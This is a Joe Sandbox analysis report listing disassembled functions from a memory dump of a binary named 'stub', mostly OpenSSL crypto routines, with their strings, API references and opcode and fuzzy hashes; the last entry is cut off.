Function 00007FF8A7DE4B56 Relevance: 5.2, Strings: 4, Instructions: 213COMMON

Download Yara Rule

Strings

..\s\crypto\aes\aes_ige.c, xrefs: 00007FF8A7E80B6E, 00007FF8A7E80B95, 00007FF8A7E80BB4
assertion failed: (length % AES_BLOCK_SIZE) == 0, xrefs: 00007FF8A7E80BBB
assertion failed: in && out && key && ivec, xrefs: 00007FF8A7E80B75
assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc), xrefs: 00007FF8A7E80B9C

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\aes\aes_ige.c$assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc)$assertion failed: (length % AES_BLOCK_SIZE) == 0$assertion failed: in && out && key && ivec
API String ID: 0-3998121876
Opcode ID: bdc6c35671cd519ba0f6c89cc0cdc4cd3b216387f9b3e1cd6f25cac115cc41fd
Instruction ID: 3632cc6b2c77d655290fbae00b035cad20f0a6b6f384193689aabc2e2336bc56
Opcode Fuzzy Hash: bdc6c35671cd519ba0f6c89cc0cdc4cd3b216387f9b3e1cd6f25cac115cc41fd
Instruction Fuzzy Hash: 4FA1C232E0AB819AE711CF24D5442AD73A0FB5C788F869231EF9C97645EB3CE695D700

Function 00007FF8A7DE6EF1 Relevance: 4.2, Strings: 3, Instructions: 470COMMON

Download Yara Rule

Strings

..\s\crypto\bn\bn_exp2.c, xrefs: 00007FF8A7EC3424
$, xrefs: 00007FF8A7EC342B
O, xrefs: 00007FF8A7EC3541

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: $$..\s\crypto\bn\bn_exp2.c$O
API String ID: 0-847529346
Opcode ID: 0e7d295a6c794c6f0f0d66d8d5b58985964002f46c1a8f184e81983b44fe8e8a
Instruction ID: 82d99ad469bd04dc791dc48c0d56553f314c1a422712eb6974173be436bfc620
Opcode Fuzzy Hash: 0e7d295a6c794c6f0f0d66d8d5b58985964002f46c1a8f184e81983b44fe8e8a
Instruction Fuzzy Hash: 8302B636A0E78296EA609E16A44127FB798FF85FC4F140135EF8E87789DE3DE410A741

Function 00007FF8A7DE5B0F Relevance: 4.1, Strings: 3, Instructions: 386COMMON

Download Yara Rule

Strings

smime_sign, xrefs: 00007FF8A7FA6F58
Verify error:, xrefs: 00007FF8A7FA70F3
..\s\crypto\pkcs7\pk7_smime.c, xrefs: 00007FF8A7FA6D7B, 00007FF8A7FA6DC2, 00007FF8A7FA6E0D, 00007FF8A7FA6E5A, 00007FF8A7FA7019, 00007FF8A7FA7051, 00007FF8A7FA70A6, 00007FF8A7FA70D7, 00007FF8A7FA7164, 00007FF8A7FA71A2, 00007FF8A7FA7233, 00007FF8A7FA72DC, 00007FF8A7FA7309

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: ..\s\crypto\pkcs7\pk7_smime.c$Verify error:$smime_sign
API String ID: 0-155679235
Opcode ID: 158bbd5cd9f75ba197bf0d3fc4259d828cf68037559234e9765341c7f82a7f9b
Instruction ID: 1b2d4d107abfe0a29342cc8dbbd64a2f9993b948ac4a7a731662440e69158ab4
Opcode Fuzzy Hash: 158bbd5cd9f75ba197bf0d3fc4259d828cf68037559234e9765341c7f82a7f9b
Instruction Fuzzy Hash: CFF1B222B0A64365EA21DF22E811ABE6791FF80BC4F440135ED5D4779AEF3CE645EB10

Function 00007FF8A801F7D0 Relevance: 4.1, Strings: 3, Instructions: 381COMMON

Download Yara Rule

Strings

.0, xrefs: 00007FF8A801FB3D
, xrefs: 00007FF8A801FAFA
, xrefs: 00007FF8A801FC38

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: $ $.0
API String ID: 0-647222018
Opcode ID: 3273ac230b8942c88a6727977a219dc1f7c4ee2de06a3150cf1e869b545d6e0e
Instruction ID: be8201ee5d252883a13e7f7f74ecce5c3655efbd8f6a9fed7d555fc557b872e1
Opcode Fuzzy Hash: 3273ac230b8942c88a6727977a219dc1f7c4ee2de06a3150cf1e869b545d6e0e
Instruction Fuzzy Hash: 2102C232A0A342E6EB559F3095513FC3690EF40BE8F084236DA1E566D9EF3CA465C7B4

Function 00007FF8A7DE5169 Relevance: 3.9, Strings: 3, Instructions: 182COMMON

Download Yara Rule

Strings

, xrefs: 00007FF8A7EFB78C
, xrefs: 00007FF8A7EFB773
@, xrefs: 00007FF8A7EFB77F

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID:
String ID: $ $@
API String ID: 0-2546599590
Opcode ID: f2644830250c31aea3305b6dee589843c6a07d26a44212c961f7c0c9858f5bc0
Instruction ID: d18726a24abc8fa2ed335a4c17713b3a595dde385eca1a4c8660c0d924734a55
Opcode Fuzzy Hash: f2644830250c31aea3305b6dee589843c6a07d26a44212c961f7c0c9858f5bc0
Instruction Fuzzy Hash: 2461F633A192D587E3708F2DA48066DBB91F3897D4F548236EA9983F85C97CD918DB40

Function 00007FF8A7DE5A60 Relevance: 3.9, APIs: 3, Instructions: 160COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7FC6733
memmove.VCRUNTIME140 ref: 00007FF8A7FC6744
memmove.VCRUNTIME140 ref: 00007FF8A7FC68D8

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: a111926b472cdd026b707c3c06e64bc37270c2157892f8b40b4e5e2067466ab3
Instruction ID: 5ce8cffa89823e813f8ce6da4d310dbf30ce01461b9b93cf92a72d666ae8f54a
Opcode Fuzzy Hash: a111926b472cdd026b707c3c06e64bc37270c2157892f8b40b4e5e2067466ab3
Instruction Fuzzy Hash: 755128A2B092E04ADAA0CF696D695BD3BE5FB047C1F095036DFAD43B86DE2CC651D310

Function 00007FF8A7DE22AC Relevance: 3.9, APIs: 3, Instructions: 110COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A7FE8994
memset.VCRUNTIME140 ref: 00007FF8A7FE89F6
memset.VCRUNTIME140 ref: 00007FF8A7FE8A2B

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: a6b09ffb963c1d315ef66330ae7513fcda920f5995490242336111b0b524ed7e
Instruction ID: bac1b17773eb7dc0a11b23be1b999decbad7610e6bbbecbe776f76d0f49cc7e0
Opcode Fuzzy Hash: a6b09ffb963c1d315ef66330ae7513fcda920f5995490242336111b0b524ed7e
Instruction Fuzzy Hash: B5412412B196C162EB21DB28D4013BDAB51FBD6780F48D136DB8D17A96EE2CE249C710

Function 00007FF8A7DE655F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 509COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A7F2803F

Strings

..\s\crypto\ec\ec_asn1.c, xrefs: 00007FF8A7F27BEE, 00007FF8A7F27C67, 00007FF8A7F27C94, 00007FF8A7F27CE9, 00007FF8A7F27D38, 00007FF8A7F27DC9, 00007FF8A7F27E7F, 00007FF8A7F27E94, 00007FF8A7F27F97, 00007FF8A7F27FC8, 00007FF8A7F27FDE, 00007FF8A7F28003, 00007FF8A7F280D4, 00007FF8A7F2811B, 00007FF8A7F2816E, 00007FF8A7F28284, 00007FF8A7F282EA, 00007FF8A7F28320

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memmove
String ID: ..\s\crypto\ec\ec_asn1.c
API String ID: 2162964266-62808776
Opcode ID: 3f503f059be7080f300f8968bad5125a154c9bbd17e38ce73b735031fee127e8
Instruction ID: 9ddd6b2a88ab92990042ed9379746f837dad19d0a220c48dcfb7156a29a023de
Opcode Fuzzy Hash: 3f503f059be7080f300f8968bad5125a154c9bbd17e38ce73b735031fee127e8
Instruction Fuzzy Hash: CC22A061B0E642A2FB259E22E4107BD2791FB44BC8F404135EE9D47BC5EF7CEA41A790

Function 00007FF8A7DE54CF Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 259COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A7ECDAA8

Strings

`|, xrefs: 00007FF8A7ECDC2B

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memset
String ID: `|
API String ID: 2221118986-2662563857
Opcode ID: 33008b2191bddb1ee1f4ccbe9ecdb2ea9c1f5d4afbf947fcc7d348f99f715283
Instruction ID: b03935e60a2d6d4317b41df07bddd913895e064e6216634ea6e015a2ad85d0b1
Opcode Fuzzy Hash: 33008b2191bddb1ee1f4ccbe9ecdb2ea9c1f5d4afbf947fcc7d348f99f715283
Instruction Fuzzy Hash: F1A1AB76B0AB8595FB10CBA2E8816AD27A5FB48BC8F150035DE1D97B58EE3CE161D340

Function 00007FF8A7DE4359 Relevance: 3.1, Strings: 2, Instructions: 637COMMON

Download Yara Rule

Strings

..\s\crypto\rsa\rsa_gen.c, xrefs: 00007FF8A7FB6AC1
T, xrefs: 00007FF8A7FB6AAE

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
